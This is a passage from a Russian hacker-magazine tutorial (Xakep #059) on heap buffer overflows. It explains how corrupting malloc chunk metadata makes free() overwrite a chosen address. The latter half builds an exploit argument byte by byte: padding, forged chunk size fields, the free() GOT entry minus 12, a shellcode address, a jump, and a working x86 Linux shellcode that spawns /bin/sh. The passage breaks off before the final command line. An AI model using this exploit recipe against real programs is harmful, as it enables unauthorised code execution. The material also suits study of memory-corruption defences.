Переполнение буфера в heap. Серия вторая
kas1e
Xakep, номер #059, стр. 059-074-3
| 2. непосредственно место под переменную | - 1-й malloc в 60 байт
| 3. адрес окончания аллоцированного куска |
|-------------------------------------------|
| 1. начальные данные malloc |
| 2. непосредственно место под переменную | - 2-й malloc (чтобы
| 3. адрес окончания аллоцированного куска | указать границу первого)
|-------------------------------------------|
Мы запихиваем в первый буфер больше, чем определили, в итоге у нас перезаписывается адрес окончания буфера. После этого функция free() берет этот адрес и направляется с ним либо прямиком в segfault, либо туда, куда мы покажем. Вот, в принципе, и все переполнение в heap (конечно, сказано несколько грубо). Далее нам остается лишь поставить нужный адрес в то место, где после буфера находится указатель на окончание аллоцированных данных, и запихнуть в буфер код, дающий нам шелл.
Непосредственно эксплоит мы напишем в двух вариантах. Первый будет немного необычный, но зато очень понятный и требующий от тебя только базовых знаний. Второй идет в виде дополнительного бонус-пака к статье. Он пригодится тем, кому лень писать что-то с нуля.
Итак, допустим, у нас есть куча буферов, созданных malloc'ом. Для реализации этого примера подойдет вышеописанный код. Единственное, что надо скорректировать в нем - добавить третий буфер. В первый у нас пойдут аргументы, во второй и третий запихнем всякого хлама. Т.е. мы переполним chunk информацию у второго и третьего буфера. Я не буду расписывать до мельчайших подробностей каждый байт, поэтому местами придется подумать. Эксплоит будет просто одним большим аргументом, в котором у нас будут байты для переполнения, чанковые обманы malloc информации и непосредственно сам код (в нашем случае shellcode). Представим, как же мы будем строить этот суперэксплоит:
1. Сначала пойдет 60 байт хлама для переполнения буфера:
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
2. Далее идет поле размера предыдущего буфера (-16) - 0xfffffff0:
"\xf0\xff\xff\xff"
3. После поле размера чанк области у второго буфера - 0xfffffffc:
"\xfc\xff\xff\xff"
4. 8 байт хлама:
"\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc"
5. 2 safe указателя по 4 байта (тот же хлам):
"\xfc\xff\xff\xff\xfc\xff\xff\xff"
6. Теперь самый важный момент - это GOT указатель на free(). Из него мы должны вычесть значение 12 (0xC). Грепаем уязвимую программку на адрес free(), вычитаем 12 и записываем. У меня получилось значение 0x0804978c. Соответственно: free(0x804978c)-12(0xc)=0x8049780. Запишем:
"\x80\x97\x04\x08"
7. Адрес на наш шеллкод. У меня на тот момент было 0x0804982f:
"\x2f\x98\x04\x08"
Надо заметить, что это адрес на следующую инструкцию, поскольку будет еще 12 байт хлама, которые надо перепрыгнуть. Фактически, это адрес на jmp.
8. jmp на "настоящий шеллкод":
"\xeb\x0c"
9. 12 байт мусора:
"\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc"
10. Непосредственно асмовый код. У нас это и есть шеллкод:
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
Теперь все это объединяется в одну строчку и передается как 1 аргумент в уязвимую программу: